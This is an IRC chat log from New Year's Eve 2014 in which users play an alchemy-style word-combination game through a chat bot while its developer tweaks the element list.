[2014-12-31T13:13:13-0500] <Tamini_> :(
[2014-12-31T13:13:18-0500] <alokpathy> @possible gmail
[2014-12-31T13:13:19-0500] <alchemy> No, you can't make gmail.
[2014-12-31T13:13:21-0500] <alokpathy> @possible nyc
[2014-12-31T13:13:22-0500] <alchemy> No, you can't make nyc.
[2014-12-31T13:13:24-0500] <alokpathy> @list
[2014-12-31T13:13:25-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, linux, earth, ship, air, cloud, hacker, mountain, neanderthal, hal, whitehat, sentience, electricity
[2014-12-31T13:13:25-0500] <alchemy> You have: thunder, snow, ice, tornado, aaron, ent, boat, sword, internet, man, puddle, engine, plant, rainbow, fireman, fire, tree, tool, blackhat, rain
[2014-12-31T13:13:25-0500] <alchemy> You have: water, evil, hole, penguin, stone, olaf, light, metal, robot, ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-31T13:13:25-0500] <alchemy> That's 58 out of 103!
[2014-12-31T13:13:27-0500] <Tamini_> @possible email
[2014-12-31T13:13:28-0500] <alchemy> No, you can't make email.
[2014-12-31T13:13:35-0500] <Tamini_> @possible dragon
[2014-12-31T13:13:36-0500] <alchemy> No, you can't make dragon.
[2014-12-31T13:13:42-0500] <alokpathy> @combine internet hal
[2014-12-31T13:13:43-0500] <alchemy> internet and hal don't make anything exciting.
[2014-12-31T13:13:46-0500] <Tamini_> @possible princess
[2014-12-31T13:13:46-0500] <alokpathy> @combine hacker hal
[2014-12-31T13:13:47-0500] <alchemy> No, you can't make princess.
[2014-12-31T13:13:48-0500] <alchemy> hacker and hal don't make anything exciting.
[2014-12-31T13:13:52-0500] <alokpathy> @combine linux hal
[2014-12-31T13:13:53-0500] <alchemy> linux and hal don't make anything exciting.
[2014-12-31T13:13:57-0500] <Tamini_> @hint
[2014-12-31T13:13:58-0500] <alchemy> Hint: It's possible to make energy!
[2014-12-31T13:13:58-0500] <alokpathy> @combine man linux
[2014-12-31T13:13:59-0500] <alchemy> man and linux don't make anything exciting.
[2014-12-31T13:14:04-0500] <Tamini_> @hint
[2014-12-31T13:14:05-0500] <alchemy> Not on your life.
[2014-12-31T13:14:52-0500] <alokpathy> @combine rainbow light
[2014-12-31T13:14:53-0500] <alchemy> rainbow and light don't make anything exciting.
[2014-12-31T13:14:59-0500] <alokpathy> @combine rainbow thunder
[2014-12-31T13:15:00-0500] <alchemy> rainbow and thunder don't make anything exciting.
[2014-12-31T13:15:09-0500] <alokpathy> @combine rainbow rain
[2014-12-31T13:15:10-0500] <alchemy> rainbow and rain don't make anything exciting.
[2014-12-31T13:15:15-0500] <alokpathy> @combine rainbow energy
[2014-12-31T13:15:15-0500] <alchemy> rainbow and energy don't make anything exciting.
[2014-12-31T13:15:17-0500] <alokpathy> @combine rainbow tree
[2014-12-31T13:15:18-0500] <alchemy> rainbow and tree don't make anything exciting.
[2014-12-31T13:15:22-0500] <alokpathy> @combine rainbow sentience
[2014-12-31T13:15:23-0500] <alchemy> rainbow and sentience don't make anything exciting.
[2014-12-31T13:15:32-0500] <alokpathy> @possible reading
[2014-12-31T13:15:33-0500] <alchemy> No, you can't make reading.
[2014-12-31T13:15:43-0500] <alokpathy> @combine potato 
[2014-12-31T13:15:44-0500] <alchemy> You don't have potato!
[2014-12-31T13:15:48-0500] <alokpathy> @possible potato
[2014-12-31T13:15:49-0500] <alchemy> No, you can't make potato.
[2014-12-31T13:15:51-0500] <alokpathy> @list
[2014-12-31T13:15:52-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, linux, earth, ship, air, cloud, hacker, mountain, neanderthal, hal, whitehat, sentience, electricity
[2014-12-31T13:15:52-0500] <alchemy> You have: thunder, snow, ice, tornado, aaron, ent, boat, sword, internet, man, puddle, engine, plant, rainbow, fireman, fire, tree, tool, blackhat, rain
[2014-12-31T13:15:52-0500] <alchemy> You have: water, evil, hole, penguin, stone, olaf, light, metal, robot, ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-31T13:15:52-0500] <alchemy> That's 58 out of 103!
[2014-12-31T13:16:05-0500] <alokpathy> What's up with the order?
[2014-12-31T13:16:15-0500] <Tamini_> @possible debian
[2014-12-31T13:16:16-0500] <alchemy> No, you can't make debian.
[2014-12-31T13:16:17-0500] <alokpathy> hardmath123: In what order are the elements?
[2014-12-31T13:16:20-0500] <Tamini_> @possible ubutu
[2014-12-31T13:16:21-0500] <alchemy> No, you can't make ubutu.
[2014-12-31T13:16:27-0500] <Tamini_> @possible ubuntu
[2014-12-31T13:16:27-0500] <alchemy> No, you can't make ubuntu.
[2014-12-31T13:16:27-0500] <+hardmath123> hardmath123: i can alphabetize
[2014-12-31T13:16:32-0500] <+hardmath123> alokpathy: ^^
[2014-12-31T13:16:40-0500] <Tamini_> it just like
[2014-12-31T13:16:42-0500] <alokpathy> Are they in any particular order now?
[2014-12-31T13:16:44-0500] <Tamini_> random reshuffles
[2014-12-31T13:16:49-0500] <Tamini_> tis strang
[2014-12-31T13:16:50-0500] <Tamini_> e
[2014-12-31T13:17:03-0500] <alokpathy> Is there anything we can extrapolate from the order? :3
[2014-12-31T13:17:12-0500] <alokpathy> @combine lava earth
[2014-12-31T13:17:12-0500] <alchemy> lava and earth don't make anything exciting.
[2014-12-31T13:17:17-0500] <alokpathy> @possible volcano
[2014-12-31T13:17:18-0500] <alchemy> No, you can't make volcano.
[2014-12-31T13:17:44-0500] <alokpathy> @possible food
[2014-12-31T13:17:45-0500] <alchemy> Yeah, you can make food.
[2014-12-31T13:17:47-0500] <alokpathy> woo
[2014-12-31T13:17:56-0500] <alokpathy> So how to make food
[2014-12-31T13:18:02-0500] <alokpathy> @combine plant man
[2014-12-31T13:18:03-0500] <alchemy> plant and man don't make anything exciting.
[2014-12-31T13:18:09-0500] <alokpathy> @combine plant soil
[2014-12-31T13:18:10-0500] <alchemy> plant and soil don't make anything exciting.
[2014-12-31T13:18:26-0500] <+hardmath123> the reason is that I'm using <set> for the rules for some reason
[2014-12-31T13:18:28-0500] <+hardmath123> hang on
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[2014-12-31T13:18:41-0500] <alokpathy> Oh darn
[2014-12-31T13:18:42-0500] <+hardmath123> @list
[2014-12-31T13:18:44-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T13:18:44-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T13:18:44-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T13:18:44-0500] <alchemy> That's 58 out of 103!
[2014-12-31T13:18:48-0500] <alokpathy> Aw
[2014-12-31T13:18:49-0500] <+hardmath123> alphabetized
[2014-12-31T13:18:52-0500] <alokpathy> Oh okay
[2014-12-31T13:19:18-0500] <alokpathy> @possible terminator
[2014-12-31T13:19:18-0500] <alchemy> No, you can't make terminator.
[2014-12-31T13:19:25-0500] <Tamini_> @possible alok
[2014-12-31T13:19:26-0500] <alchemy> No, you can't make alok.
[2014-12-31T13:19:27-0500] <alokpathy> @possible baseball
[2014-12-31T13:19:28-0500] <alchemy> No, you can't make baseball.
[2014-12-31T13:19:32-0500] <Tamini_> @possible sport
[2014-12-31T13:19:32-0500] <alchemy> No, you can't make sport.
[2014-12-31T13:19:34-0500] <alokpathy> Tamini_: We can make food
[2014-12-31T13:19:36-0500] <Tamini_> @possible sports
[2014-12-31T13:19:36-0500] <alchemy> No, you can't make sports.
[2014-12-31T13:19:40-0500] <Tamini_> @possible food
[2014-12-31T13:19:40-0500] <alchemy> Yeah, you can make food.
[2014-12-31T13:19:41-0500] <Tamini_> hmm
[2014-12-31T13:19:43-0500] <Tamini_> so
[2014-12-31T13:19:48-0500] <Tamini_> love knuth tex science food
[2014-12-31T13:19:55-0500] <alokpathy> @combine plant steam
[2014-12-31T13:19:55-0500] <alchemy> plant and steam don't make anything exciting.
[2014-12-31T13:20:01-0500] <alokpathy> @possible vegetable
[2014-12-31T13:20:01-0500] <Tamini_> if hacker + computer isnt love idk what is
[2014-12-31T13:20:01-0500] <alchemy> No, you can't make vegetable.
[2014-12-31T13:20:04-0500] <Tamini_> @combine plant man
[2014-12-31T13:20:05-0500] <alchemy> plant and man don't make anything exciting.
[2014-12-31T13:20:11-0500] <Tamini_> @combine hacker computer
[2014-12-31T13:20:11-0500] <alchemy> hacker and computer don't make anything exciting.
[2014-12-31T13:20:17-0500] <Tamini_> @combine hacker robot
[2014-12-31T13:20:19-0500] <alchemy> hacker and robot don't make anything exciting.
[2014-12-31T13:20:23-0500] <alokpathy> @possible cupid
[2014-12-31T13:20:23-0500] <alchemy> No, you can't make cupid.
[2014-12-31T13:20:41-0500] <alokpathy> @combine air water
[2014-12-31T13:20:41-0500] <alchemy> You already combined air and water to get cloud.
[2014-12-31T13:20:46-0500] <alokpathy> @possible oxygen
[2014-12-31T13:20:47-0500] <alchemy> No, you can't make oxygen.
[2014-12-31T13:20:55-0500] <alokpathy> @list
[2014-12-31T13:20:55-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T13:20:55-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T13:20:55-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T13:20:55-0500] <alchemy> That's 58 out of 103!
[2014-12-31T13:21:08-0500] <alokpathy> @combine ship rainbow
[2014-12-31T13:21:08-0500] <alchemy> ship and rainbow don't make anything exciting.
[2014-12-31T13:21:12-0500] <alokpathy> @combine boat rainbow
[2014-12-31T13:21:12-0500] <alchemy> boat and rainbow don't make anything exciting.
[2014-12-31T13:21:20-0500] <alokpathy> @combine ship ship
[2014-12-31T13:21:20-0500] <alchemy> ship and ship don't make anything exciting.
[2014-12-31T13:21:24-0500] <Tamini_> @combine man ship
[2014-12-31T13:21:25-0500] <alokpathy> @combine boat boat
[2014-12-31T13:21:25-0500] <alchemy> man and ship don't make anything exciting.
[2014-12-31T13:21:26-0500] <alchemy> boat and boat don't make anything exciting.
[2014-12-31T13:21:29-0500] <Tamini_> @combine ship ship
[2014-12-31T13:21:30-0500] <alchemy> ship and ship don't make anything exciting.
[2014-12-31T13:21:30-0500] <alokpathy> @combine ship boat
[2014-12-31T13:21:30-0500] <alchemy> ship and boat don't make anything exciting.
[2014-12-31T13:21:33-0500] <Tamini_> because shipping
[2014-12-31T13:21:45-0500] <alokpathy> @combine water wind
[2014-12-31T13:21:45-0500] <alchemy> You already combined water and wind to get ice.
[2014-12-31T13:21:48-0500] <alokpathy> @possible hurricane
[2014-12-31T13:21:49-0500] <alchemy> No, you can't make hurricane.
[2014-12-31T13:22:03-0500] <alokpathy> @possible torvalds
[2014-12-31T13:22:03-0500] <alchemy> No, you can't make torvalds.
[2014-12-31T13:22:20-0500] <alokpathy> @combine man tex
[2014-12-31T13:22:20-0500] <alchemy> You don't have tex!
[2014-12-31T13:22:38-0500] <alokpathy> @possible frozen
[2014-12-31T13:22:38-0500] <alchemy> No, you can't make frozen.
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[2014-12-31T13:22:44-0500] <alokpathy> @possible elsa
[2014-12-31T13:22:45-0500] <alchemy> No, you can't make elsa.
[2014-12-31T13:23:07-0500] <alokpathy> @possible zombie
[2014-12-31T13:23:08-0500] <alchemy> No, you can't make zombie.
[2014-12-31T13:23:31-0500] <alokpathy> @combine tornado air
[2014-12-31T13:23:32-0500] <alchemy> tornado and air don't make anything exciting.
[2014-12-31T13:23:56-0500] <alokpathy> I think we can make food somehow.
[2014-12-31T13:24:00-0500] <Tamini_> hmm
[2014-12-31T13:24:01-0500] <alokpathy> with what we have.
[2014-12-31T13:24:02-0500] <alokpathy> @list
[2014-12-31T13:24:03-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T13:24:03-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T13:24:03-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T13:24:03-0500] <alchemy> That's 58 out of 103!
[2014-12-31T13:24:08-0500] <Tamini_> hardmath123: take pity on our souls :P
[2014-12-31T13:24:16-0500] <Tamini_> @combine metal man
[2014-12-31T13:24:17-0500] <alchemy> You already combined metal and man to get tool.
[2014-12-31T13:24:22-0500] <Tamini_> @combine metal plant
[2014-12-31T13:24:22-0500] <alokpathy> @combine tool plant
[2014-12-31T13:24:23-0500] <alchemy> metal and plant don't make anything exciting.
[2014-12-31T13:24:24-0500] <alchemy> tool and plant don't make anything exciting.
[2014-12-31T13:24:26-0500] <Tamini_> @combine metal tree
[2014-12-31T13:24:27-0500] <alchemy> metal and tree don't make anything exciting.
[2014-12-31T13:24:32-0500] <alokpathy> @combine plant sword
[2014-12-31T13:24:33-0500] <alchemy> plant and sword don't make anything exciting.
[2014-12-31T13:24:33-0500] <Tamini_> @combine tool tree
[2014-12-31T13:24:34-0500] <alchemy> tool and tree don't make anything exciting.
[2014-12-31T13:24:36-0500] <Tamini_> @possible axe
[2014-12-31T13:24:37-0500] <alchemy> Yeah, you can make axe.
[2014-12-31T13:24:37-0500] <alokpathy> @combine tree tool
[2014-12-31T13:24:38-0500] <alchemy> tree and tool don't make anything exciting.
[2014-12-31T13:24:40-0500] <alokpathy> oooo
[2014-12-31T13:24:41-0500] <alokpathy> axe
[2014-12-31T13:24:41-0500] <Tamini_> @possible sword
[2014-12-31T13:24:43-0500] <alchemy> Yeah, you can make sword.
[2014-12-31T13:24:45-0500] <alokpathy> @combine sword metal
[2014-12-31T13:24:46-0500] <alchemy> sword and metal don't make anything exciting.
[2014-12-31T13:24:48-0500] <Tamini_> @possible fruit
[2014-12-31T13:24:49-0500] <alchemy> No, you can't make fruit.
[2014-12-31T13:25:01-0500] <Tamini_> @combine tree metal
[2014-12-31T13:25:02-0500] <alchemy> tree and metal don't make anything exciting.
[2014-12-31T13:25:10-0500] <alokpathy> @possible lol
[2014-12-31T13:25:11-0500] <alchemy> No, you can't make lol.
[2014-12-31T13:25:12-0500] <Tamini_> @combine tree tool
[2014-12-31T13:25:13-0500] <alchemy> tree and tool don't make anything exciting.
[2014-12-31T13:25:16-0500] <alokpathy> brb
[2014-12-31T13:26:11-0500] <Tamini_> @possible elf
[2014-12-31T13:26:12-0500] <alchemy> No, you can't make elf.
[2014-12-31T13:26:15-0500] <Tamini_> @possible hobbit
[2014-12-31T13:26:16-0500] <alchemy> No, you can't make hobbit.
[2014-12-31T13:26:19-0500] <Tamini_> @possible dwarf
[2014-12-31T13:26:20-0500] <alchemy> No, you can't make dwarf.
[2014-12-31T13:26:44-0500] <Tamini_> @combine metal stone
[2014-12-31T13:26:45-0500] <alchemy> metal and stone don't make anything exciting.
[2014-12-31T13:26:50-0500] <Tamini_> @combine sword wood
[2014-12-31T13:26:51-0500] <alchemy> You don't have wood!
[2014-12-31T13:26:57-0500] <Tamini_> @combine sword tree
[2014-12-31T13:26:58-0500] <alchemy> sword and tree don't make anything exciting.
[2014-12-31T13:27:00-0500] <Tamini_> @possible wood
[2014-12-31T13:27:01-0500] <alchemy> Yeah, you can make wood.
[2014-12-31T13:27:15-0500] <Tamini_> wood is probably tree+axe what do
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[2014-12-31T13:27:30-0500] <+hardmath123> @list
[2014-12-31T13:27:30-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T13:27:30-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T13:27:30-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T13:27:30-0500] <alchemy> That's 58 out of 112!
[2014-12-31T13:27:33-0500] <+hardmath123> 112
[2014-12-31T13:27:39-0500] <+hardmath123> @possible tamini
[2014-12-31T13:27:39-0500] <alchemy> Yeah, you can make tamini.
[2014-12-31T13:27:41-0500] <+hardmath123> @possible alok
[2014-12-31T13:27:42-0500] <alchemy> Yeah, you can make alok.
[2014-12-31T13:27:43-0500] <+hardmath123> @possible hardmath123
[2014-12-31T13:27:44-0500] <alchemy> Yeah, you can make hardmath123.
[2014-12-31T13:27:49-0500] <+hardmath123> @possible euler
[2014-12-31T13:27:50-0500] <alchemy> Yeah, you can make euler.
[2014-12-31T13:27:53-0500] <+hardmath123> enjoy
[2014-12-31T13:29:26-0500] <Tamini_> yay
[2014-12-31T13:29:31-0500] <Tamini_> @combine hacker hacker
[2014-12-31T13:29:32-0500] <alchemy> hacker and hacker don't make anything exciting.
[2014-12-31T13:29:36-0500] <Tamini_> @combine hacker computer
[2014-12-31T13:29:37-0500] <alchemy> hacker and computer don't make anything exciting.
[2014-12-31T13:29:52-0500] <Tamini_> @possible woman
[2014-12-31T13:29:53-0500] <alchemy> No, you can't make woman.
[2014-12-31T13:29:58-0500] <Tamini_> @possible princess
[2014-12-31T13:29:58-0500] <alchemy> No, you can't make princess.
[2014-12-31T13:30:03-0500] <Tamini_> @possible dragon
[2014-12-31T13:30:04-0500] <alchemy> No, you can't make dragon.
[2014-12-31T13:30:08-0500] <Tamini_> @possible math
[2014-12-31T13:30:09-0500] <alchemy> Yeah, you can make math.
[2014-12-31T13:30:11-0500] <Tamini_> @possible euler
[2014-12-31T13:30:12-0500] <alchemy> Yeah, you can make euler.
[2014-12-31T13:30:16-0500] <Tamini_> @possible numbers
[2014-12-31T13:30:17-0500] <alchemy> No, you can't make numbers.
[2014-12-31T13:30:20-0500] <Tamini_> @possible code
[2014-12-31T13:30:21-0500] <alchemy> No, you can't make code.
[2014-12-31T13:30:26-0500] <Tamini_> @possible flag
[2014-12-31T13:30:27-0500] <alchemy> No, you can't make flag.
[2014-12-31T13:30:30-0500] <Tamini_> @possible crypto
[2014-12-31T13:30:30-0500] <alchemy> No, you can't make crypto.
[2014-12-31T13:30:52-0500] <+hardmath123> I should make @possible lie 10% of the time.
[2014-12-31T13:30:55-0500] <+hardmath123> Just to mess with you guys.
[2014-12-31T13:31:07-0500] <Tamini_> also hardmath123: can you make that ashley so i dont get pinged incessantly
[2014-12-31T13:33:02-0500] <+hardmath123> yeah ok
[2014-12-31T13:33:10-0500] <+hardmath123> i should do that for hardmath123 too
[2014-12-31T13:34:27-0500] <Tamini_> :P
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[2014-12-31T13:34:37-0500] <+hardmath123> @list
[2014-12-31T13:34:37-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T13:34:37-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T13:34:37-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T13:34:37-0500] <alchemy> That's 58 out of 113!
[2014-12-31T13:34:42-0500] <+hardmath123> (I also added jacob)
[2014-12-31T13:37:40-0500] <Tamini_> oki
[2014-12-31T13:37:45-0500] <Tamini_> python man
[2014-12-31T13:37:45-0500] <Tamini_> heh
[2014-12-31T13:37:57-0500] <Tamini_> @combine water villain
[2014-12-31T13:37:57-0500] <alchemy> water and villain don't make anything exciting.
[2014-12-31T13:38:01-0500] <Tamini_> @combine water sentience
[2014-12-31T13:38:02-0500] <alchemy> water and sentience don't make anything exciting.
[2014-12-31T13:38:19-0500] <jwoglom> @combine whitehat blackhat
[2014-12-31T13:38:19-0500] <alchemy> whitehat and blackhat don't make anything exciting.
[2014-12-31T13:38:35-0500] <Tamini_> alokpathy: brb, fuding. but kartik
[2014-12-31T13:38:41-0500] <Tamini_> added stuff yay <3
[2014-12-31T13:38:52-0500] <+hardmath123> fuding?
[2014-12-31T13:39:05-0500] <+hardmath123> is that a technical term? :P
[2014-12-31T13:57:12-0500] <alokpathy> Tamini_: wooo
[2014-12-31T13:57:15-0500] <alokpathy> hardmath123: Now it is :P
[2014-12-31T13:57:36-0500] <alokpathy> Wait so possible lies 10% of the time?
[2014-12-31T13:57:44-0500] <+hardmath123> no, i was joking
[2014-12-31T13:57:45-0500] <+hardmath123> :P
[2014-12-31T13:57:50-0500] <alokpathy> Oh okay XD
[2014-12-31T13:57:57-0500] <alokpathy> @possible jacob
[2014-12-31T13:57:58-0500] <alchemy> Yeah, you can make jacob.
[2014-12-31T13:57:59-0500] <alokpathy> @possible alok
[2014-12-31T13:58:00-0500] <alchemy> Yeah, you can make alok.
[2014-12-31T13:58:03-0500] <alokpathy> @possible ashley
[2014-12-31T13:58:04-0500] <alchemy> Yeah, you can make ashley.
[2014-12-31T13:58:07-0500] <alokpathy> woo
[2014-12-31T13:58:13-0500] <alokpathy> @possible  kartik
[2014-12-31T13:58:16-0500] <alokpathy> @possible kartik
[2014-12-31T13:58:17-0500] <alchemy> No, you can't make kartik.
[2014-12-31T13:58:18-0500] <alokpathy> Aw
[2014-12-31T13:58:58-0500] <alokpathy> @possible iceberg
[2014-12-31T13:58:59-0500] <alchemy> No, you can't make iceberg.
[2014-12-31T13:59:04-0500] <alokpathy> @combine wind ocean
[2014-12-31T13:59:04-0500] <alchemy> wind and ocean don't make anything exciting.
[2014-12-31T13:59:07-0500] <alokpathy> @possible hurricane
[2014-12-31T13:59:08-0500] <alchemy> No, you can't make hurricane.
[2014-12-31T13:59:10-0500] <alokpathy> @list
[2014-12-31T13:59:11-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T13:59:11-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T13:59:11-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T13:59:11-0500] <alchemy> That's 58 out of 113!
[2014-12-31T13:59:14-0500] <+hardmath123> @possible hardmath
[2014-12-31T13:59:15-0500] <alchemy> Yeah, you can make hardmath.
[2014-12-31T13:59:18-0500] <alokpathy> Oh hm
[2014-12-31T13:59:23-0500] <alokpathy> @possible irc
[2014-12-31T13:59:24-0500] <alchemy> No, you can't make irc.
[2014-12-31T13:59:29-0500] <alokpathy> @possible pdgn
[2014-12-31T13:59:30-0500] <alchemy> Yeah, you can make pdgn.
[2014-12-31T13:59:37-0500] <alokpathy> @combine aaron rust
[2014-12-31T13:59:37-0500] <alchemy> aaron and rust don't make anything exciting.
[2014-12-31T13:59:42-0500] <alokpathy> @combine internet aaron
[2014-12-31T13:59:43-0500] <alchemy> internet and aaron don't make anything exciting.
[2014-12-31T13:59:47-0500] <alokpathy> @combine hacker aaron
[2014-12-31T13:59:48-0500] <alchemy> hacker and aaron don't make anything exciting.
[2014-12-31T13:59:54-0500] <alokpathy> @possible alchemy
[2014-12-31T13:59:55-0500] <alchemy> No, you can't make alchemy.
[2014-12-31T14:00:03-0500] <alokpathy> @possible math
[2014-12-31T14:00:03-0500] <alchemy> Yeah, you can make math.
[2014-12-31T14:00:12-0500] <Tamini_> lol
[2014-12-31T14:00:20-0500] <alokpathy> @combine internet cloud
[2014-12-31T14:00:20-0500] <Tamini_> hard+math =hardmath
[2014-12-31T14:00:20-0500] <alchemy> internet and cloud don't make anything exciting.
[2014-12-31T14:00:25-0500] <alokpathy> @possible irccloud
[2014-12-31T14:00:26-0500] <alchemy> No, you can't make irccloud.
[2014-12-31T14:00:31-0500] <alokpathy> @combine
[2014-12-31T14:00:36-0500] <alokpathy> oops
[2014-12-31T14:00:45-0500] <alokpathy> @possible pidgeon 
[2014-12-31T14:00:46-0500] <alokpathy> @possible pidgeon
[2014-12-31T14:00:47-0500] <alchemy> Yeah, you can make pidgeon.
[2014-12-31T14:00:50-0500] <Tamini_> wait what
[2014-12-31T14:00:51-0500] <alokpathy> hmm
[2014-12-31T14:00:53-0500] <Tamini_> @possible bird
[2014-12-31T14:00:54-0500] <alchemy> No, you can't make bird.
[2014-12-31T14:00:56-0500] <alokpathy> internet + pidgeon = pdgn?
[2014-12-31T14:01:07-0500] <Tamini_> @possible pdgn
[2014-12-31T14:01:08-0500] <alchemy> Yeah, you can make pdgn.
[2014-12-31T14:01:09-0500] <Tamini_> probably
[2014-12-31T14:01:17-0500] <Tamini_> hm
[2014-12-31T14:01:18-0500] <alokpathy> @list
[2014-12-31T14:01:19-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T14:01:19-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T14:01:19-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T14:01:19-0500] <alchemy> That's 58 out of 113!
[2014-12-31T14:01:22-0500] <alokpathy> How to make pidgeon
[2014-12-31T14:01:31-0500] <+hardmath123> pdgn !== pidgeon
[2014-12-31T14:01:37-0500] <alokpathy> Oh
[2014-12-31T14:01:38-0500] <alokpathy> :|
[2014-12-31T14:01:47-0500] <alokpathy> So much for that idea.
[2014-12-31T14:02:07-0500] <alokpathy> @possible python
[2014-12-31T14:02:08-0500] <alchemy> Yeah, you can make python.
[2014-12-31T14:02:22-0500] <alokpathy> @combine google earth
[2014-12-31T14:02:23-0500] <alchemy> google and earth don't make anything exciting.
[2014-12-31T14:02:27-0500] <alokpathy> @combine hacker ent
[2014-12-31T14:02:28-0500] <alchemy> hacker and ent don't make anything exciting.
[2014-12-31T14:02:29-0500] <alokpathy> @combine hacker engine
[2014-12-31T14:02:29-0500] <alchemy> hacker and engine don't make anything exciting.
[2014-12-31T14:02:32-0500] <alokpathy> @combine ship engine
[2014-12-31T14:02:33-0500] <jwoglom> @combine hacker cloud
[2014-12-31T14:02:33-0500] <alchemy> ship and engine don't make anything exciting.
[2014-12-31T14:02:34-0500] <alchemy> hacker and cloud don't make anything exciting.
[2014-12-31T14:02:34-0500] <+hardmath123> http://www.commitstrip.com/wp-content/uploads/2014/12/Strip-Nouvel-an-650-finalenglsih.jpg
[2014-12-31T14:02:49-0500] <+hardmath123> you can make python?! I have no memory of adding that.
[2014-12-31T14:03:01-0500] <alokpathy> lolol
[2014-12-31T14:03:16-0500] <alokpathy> @combine boat engine
[2014-12-31T14:03:17-0500] <alchemy> boat and engine don't make anything exciting.
[2014-12-31T14:03:20-0500] <alokpathy> @combine boat wind
[2014-12-31T14:03:21-0500] <alchemy> boat and wind don't make anything exciting.
[2014-12-31T14:03:23-0500] <alokpathy> @combine ship wind
[2014-12-31T14:03:24-0500] <alchemy> ship and wind don't make anything exciting.
[2014-12-31T14:03:28-0500] <alokpathy> @combine tsunami ship
[2014-12-31T14:03:29-0500] <alchemy> tsunami and ship don't make anything exciting.
[2014-12-31T14:03:30-0500] <alokpathy> @combine tsunami boat
[2014-12-31T14:03:31-0500] <alchemy> tsunami and boat don't make anything exciting.
[2014-12-31T14:03:46-0500] <alokpathy> @possible benfranklin
[2014-12-31T14:03:47-0500] <alchemy> No, you can't make benfranklin.
[2014-12-31T14:03:51-0500] <alokpathy> @possible franklin
[2014-12-31T14:03:51-0500] <alchemy> No, you can't make franklin.
[2014-12-31T14:04:08-0500] <alokpathy> @combine sentience wind
[2014-12-31T14:04:09-0500] <alchemy> sentience and wind don't make anything exciting.
[2014-12-31T14:04:21-0500] <alokpathy> @combine sentience sculpture
[2014-12-31T14:04:21-0500] <alchemy> You already combined sentience and sculpture to get robot.
[2014-12-31T14:04:27-0500] <alokpathy> @list
[2014-12-31T14:04:27-0500] <alchemy> You have: aaron, air, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, google, hacker, hal, hole, ice
[2014-12-31T14:04:27-0500] <alchemy> You have: internet, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, penguin, plant, puddle, rain, rainbow, robot, rust, sandstorm
[2014-12-31T14:04:27-0500] <alchemy> You have: sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain, water, whitehat, wind
[2014-12-31T14:04:27-0500] <alchemy> That's 58 out of 113!
[2014-12-31T14:04:35-0500] <alokpathy> @possible movive
[2014-12-31T14:04:36-0500] <alchemy> No, you can't make movive.
[2014-12-31T14:04:37-0500] <alokpathy> @possible movie
[2014-12-31T14:04:38-0500] <alchemy> No, you can't make movie.
